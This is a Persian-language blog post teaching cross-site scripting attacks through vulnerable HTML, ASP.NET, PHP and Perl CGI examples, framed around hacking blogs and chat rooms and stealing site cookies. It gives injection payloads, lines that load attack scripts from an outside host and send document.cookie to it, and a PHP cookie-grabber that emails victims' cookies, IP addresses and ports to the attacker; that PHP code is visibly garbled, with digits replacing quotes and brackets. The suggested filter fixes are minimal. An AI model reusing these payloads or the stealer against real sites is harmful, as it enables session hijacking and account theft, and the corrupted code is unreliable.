آموزش امنیت و تست نفوذ

آموزش امنیت و مبانی امنیت شبکه و اطلاعات

آموزش امنیت و تست نفوذ

آموزش امنیت و مبانی امنیت شبکه و اطلاعات

آموزش امنیت و تست نفوذ

این سایت تابع قوانین جمهوری اسلامی ایران میباشد.
مطالب درصورت درخواست کارگروه تعیین مصادق مجرمانه اینترنتی حذف خواهد شد.

طبقه بندی موضوعی

معرفی حملات xss

Wednesday, 12 Khordad 1395، 02:01 PM

حملات XSS با تزریق کدهای جاوا و html صورت میگیره.

یکی از خوبی های این حملات علاوه بر ساده بودن ، اینه که در این روش هکر حتی اگه از ترفندهای مخفی شدن خاص خودش استفاده نکنه هم شناسایی نمیشه چون حمله به صورت مستقیم از جانب هکر نخواهد بود.

این نوع حملات فقط مخصوص php ها نیست ما میتونیم بقیه زبان ها مانندhtml و perl و asp و ... رو هم مورد عنایت خود قرار دهیم.

همونطور که قبلا هم بارها شنیدید وارد شدن به دنیای هکرا نیازمند دانش برنامه نویسی است.

در کل برای پیدا کردن یک باگ از یک سیستم یا سایت شما باید زبان برنامه نویسی آن را یاد داشته باشید.

همونطور که برای فوحش دادن به یک چینی باید زبان چینی بلد باشین

در این پست من مختصری از یکی از باگ ها رو توضیح میدم و امیدوارم که شما خودتون بتونید این بحث رو گسترش بدین.
در این حملات بهتره از مرورگر opera استفاده کنید چون برعکس مرورگرهای دیگه کارکترهای خاص رو اینکد نمیکنه.

ابتدا از زبان ساده ی htmlشروع میکنم.

ما برای خوش آمد گویی به یک کاربر در صفحه سایتمون بیشتر از تکه کد زیر استفاده میکنیم.

<HTML>
<TITLE>Welcome!</TITLE>
سلام
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
</br>
به مدیریت خوش آمدید

</HTML>

این کد نام کاربر رو میگیره و سلام و خوش آمدی گویی میکنه

در نگاه اول شاید ایرادی وجود نداشته باشه ولی ما میتونیم از این تکه کد سؤاستفاده کنیم

چون هیچ فیلتری برای متغیر name تعریف نشده. با تست خطا متوجه خواهیم شد که این متغییر که کار اصلیش گرفتن نام کاربر هست ، میتونه تکه کدهای مارو هم قبول کنه.

برای مثال من وقتی تکه کد زیر رو بجای اسمم وارد میکنم این کد بدون هیچ اخطاری اجرا میشه!

<script>alert('bl4ck Was Here!!')</Script>

که اگه با اسکریپت ها آشنایی داشته باشیم میتونیم از کدهای بهتری استفاده کنیم.

در این پست من کلا بر روی دزدیدن کوکی های سایتها به کمک این نوع باگ ، تمرکز میکنم.

با تزریق کد زیر میتونیم کوکی های ثبت شده سمت سرور سایت رو بدست بیاریم.

<script>alert(document.cookie)</script>

میتونیم هر کار دیگه ای با تزریق این کدها انجام بدیم برای مثال در گذشته برای هک چت روم ها از این باگ استفاده ی زیادی میشد. ویا برای هک وبلاگ هنوزم میتونیم از این باگ استفاده کنیم.

"دلیل اینکه در این وب اسکریپت هارو غیر فعال کردم بخاطر همین نوع باگ هاست

ما میتونیم در یک بار ارسال چند تا دستور یا کد رو باهم به شکل زیر ارسال کنیم.

Site.com/welcome.htm?name=<script>cod1</script>&name=<script>cod2</script>

بهتره یک روش برای جلوگیری یا Fix کردن این باگها رو هم بررسی کنیم.

ما میتونیم برای کد خوش آمد گوییمون یه فیلتر تعریف کنیم. تا کارکترهای خاصی که در تزریق کدهای مخرب استفاده میشه رو قبول نکنه. به کدهای زیر دقت کنید :

<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("شما از کارکترهای غیر مجاز استفاده کرده اید");
}
</SCRIPT>

کدهای بالا همون کدهای اسکریپتی که در ابتدا نوشتیم هستن با این فرق که در خط چهارم کارکترهای مجاز خودمون رو برای برنامه تعریف کردیم و شرط کردیم که اگر کاربر از کارکترهایی که تعریف نشده برای مثال کارکترهای <>استفاده کنه فقط پیام اخطار رو نمایش بده.

البته این روش رو هم میشه دور زد که اگه عمری باقی باشه توضیح خواهم داد.!



باگی که در بالا توضیح دادم برای صفحات htmlبود حالا این باگ در صفحاتASP چگونه خواهد بود؟
اگه بخوام یک نمونه ساده و مشابه به بحثمون رو توضیح بدم باید کدهای زیر رو معرفی کنم.
void Page_load(Object Src,EventArgs E)
{
String sSearchStr="";
NameValueCollection ColQstr = Request.QueryString;
String[] qStrAry = colQstr.AllKeys;
for (int i = 0; i<= qStrAry.GetUpperBound(0); i++)
{
if (qStrAry[i] == "search")
{
String[] qStrAry = colQstr.AllKeys;
for (int j = 0; j<=qStrAryVal.GetUpperBound(0); j++)
{
sSearchStr = qStrAryVal[j];
break;
}
}
}
if (sSearchStr.Trim() != "")
{
if (SearchDataStore(sSearchStr) == false)
lblResult.Text = "The search keyword " + sSearchStr +
"هیچ نتیجه ای یافت نشد ، لطفا دوباره تلاش کنید.";

}
}
bool SearchDataStore(String sSearchStr)
{
return false;
}

ASP زبان تحت وب مورد علاقه من بود که الان جاشو داده به php.

در اینجا برنامه از کاربر میتونه هر مقداری بگیره "کلمه ای میگیره" و نتیجه هایی رو به کاربر گزارش میده. "مثل موتورهای جستوجو" و اگه هیچ مقداری نباشهfalse  رو برمیگردونه که مقدار false هم همون عبارات فارسی هست.

همیشه اینجور جاها سریع یه تست خطا میگیریم.

کد زیر رو تزریق میکنیم و میبینیم که جوابی که ما میخواهیم رو میده یا نه؟

Page.Aspx?Search=<script>alert('bl4ck'); </script>

باید تا الان با کد بالا آشنا شده باشین. این کد در صورت اجرای سالم یه پیام باید نمایش بده که اسم بنده روی صفحه اش خواهد بود!

برای بدست آوردن کوکی ها در این صفحه ها هم از کد زیر کمک میگیریم.

<ahref="process.aspx?Search=<script>alert(document.cookie);</script>">bl4ck</a>

اینجا برای تزریق چند کد میتونیم تمام کدهامون رو در یک فایل آماده کنیم.

"توی نوت پد بنویسیم و با فرمت js ذخیره کنیم"

بعد تو یه هاستی که لینک مستقیم بده آپلودش کنیم و به شکل زیر تزریقش کنیم.

<script src='http://32.com/attack/java.js'></script>

که باید لینک خودتون رو جایگزین کنید.


حالا میرسیم به phpاحتمالا خیلی هاتون با این زبان پرقدرت آشنایی دارین.
باگ مشابه به بحثمون در این زبان به شکل زیر میتونه دیده بشه.
تو بیشتر سایت هایی که من باهاشون روبرو شده بودم نکته جالب این بود که بیشتر قسمت ها fix شده بودن بجز قسمت ایمیل. مثلا در یک فورم ثبت نام ما میتونستیم خیلی راحت در قسمت وارد کردن ایمیل کدهای مخرب خودمون رو تزریق کنیم.

به کدهای زیر دقت کنید :

if (isset($HTTP_POST_VARS[’email’])){
$email = $HTTP_POST_VARS[’email’];
$password = $HTTP_POST_VARS[’password’];
$go = true;
if ($go == true){
if ($error == false){
if (check_email_address($email)) {
$error = false;
}else {
$error = $email . ’ این آدرس معتبر نیست’;

}
}

اینجا هم مثل بحث اولمون "قسمت html" میبینید که هیچ فیلتری برای قسمت ایمیل تعریف نشده.

دیگه زیاد درباره کدها توضیح نمیدم "تکراری هستن"

برای تست خطا کد زیر رو در آدرس بار تزریق میکنیم.

Site.com/etc.php?email=<script>bl4ck :)</script>

phpواقعا زبان قدرتمندیه طوری که به کمکش میتونیم هر کار نشدنی در زبان های تحت وب دیگر رو شدنی کنیم.

"تو دنیای واقعی وقتی به یارو میگیم مگه اینکه دستم بهت نرسه یعنی وقتی دستمون بهش برسه یعنی طرف جر خورده ، ما تو مجازی بین دوستان وقتی میگیم مگه اینکه لینکم بهت نرسه منظور لینک همین php هامونه که اگه برسه ممکنه خیلی ها افت فشار و سکته خفیف رو تجربه کنن"

اینجا برای کش رفتن کوکی ها یه فایل php میسازیم که وقتی تزریق شد همه کوکی ها رو به ایمیلمون ارسال کنه.

<?php
$ip_adresse = $_SERVER['REMOTE_ADDR'];
if3!empty3$ip_adresse44
{
echo 'il tuo ip ?: ',$ip_adresse;
}
else
{
echo 'Impossible d\ 'afficher l\ 'IP';
}
?>
<a href=5log.php5></a><?
$xxI=$HTTP_SERVER_VARS['SERVER_PORT'];
$day = date35d5,time344; $month = date35m5,time344; $year =
date35Y5,time344;
if 3$REMOTE_HOST == 554 $visitor_info = $REMOTE_ADDR;
else $visitor_info = $REMOTE_HOST;
$base = 'http://' . $HTTP_SERVER_VARS['SERVER_NAME'] .
$PHP_SELF;
$xI=Mhost $REMOTE_ADDRNgrep NameM;
$x*=$REMOTE_PORT;
?>
<?php
$cookie = $_GET['c'];
?>
<?php
$myemail = ***********@gmail.com;
$today = date35l, F j, Y, g:i a54 ;
$subject = 5XSS خ
وش مزه ها ;
$message = 5Xss: Hacking
Ip: $ip_adresse
cookie: $cookie
Url: $base
port use: $xxI
remote port: $x*
Giorno & Ora : $today \n
5;
$from = 5From: $myemail\ r\n5;
mail3$myemail, $subject, $message, $from4;
?>

این فایل رو با فرمت php ذخیره کرده و مثل بحث قبلی مون تو یه هاست آپلود کرده لینک مستقیمش رو تزریق میکنیم.

<script src='http://32.com/attack/coooki.php'></script>

و یا

<script>document.location.replace3'http://32/coooki.php?c=')*Bdocument.cookie</ script>

در آخر هم صفحاتی که با زبان CGI نوشته شدن رو بررسی میکنیم.
حقیقتش من هنوز با این زبان اونجوری که باید باشم آشنا نیستم ولی میتونم برای این بحث یه نمونه مثال بزنم
 "سوالات خیلی تخصصی درباره این زبان نپرسین"
#!/usr/bin/perl
use CGI;
my $cgi = CGI->new();
my $text = $cgi->param('text');
print $cgi->header();
print "You entered $text";

با کد بالا میتونیم یه جستوجوگر گوشه سایتمون ایجاد کنیم.
اینجا هم مثل مثال های فوق برای متغیر txt هیچ گونه فیلتری تعریف نشده!

برای کش رفتن کوکی ها :

<iframe 
src="http://www.example.com/search.pl?text=<script>
alert(document.cookie)</script>">

برای جلوگیری از این باگ :

$text =~ s/[^A-Za-z0-9 ]*/ /g;

برای متغیر txt فیلتر یا مانع هایی تعریف میکنیم.

همونطور که بالا هم گفتم این fix کردن ها "تعریف فیلتر" فقط یه روش ساده برای جلوگیری از این باگه، در هر صورت میتونیم خیلی ساده فیلتر هارو هم دور بزنیم.

ایرانی جماعت رو از فیلتر نترسونید هیچوقت :) خخخخخ

بحث xss ها فقط به اینجا ختم نمیشن این ساده ترین حمله با این روش بود در کل xss ها خیلی گسترده و پیچیده هستن.

منبع:bl4ck.blog.ir

کپی نکن برادر :)

نظرات  (۰)

هیچ نظری هنوز ثبت نشده است

ارسال نظر

ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی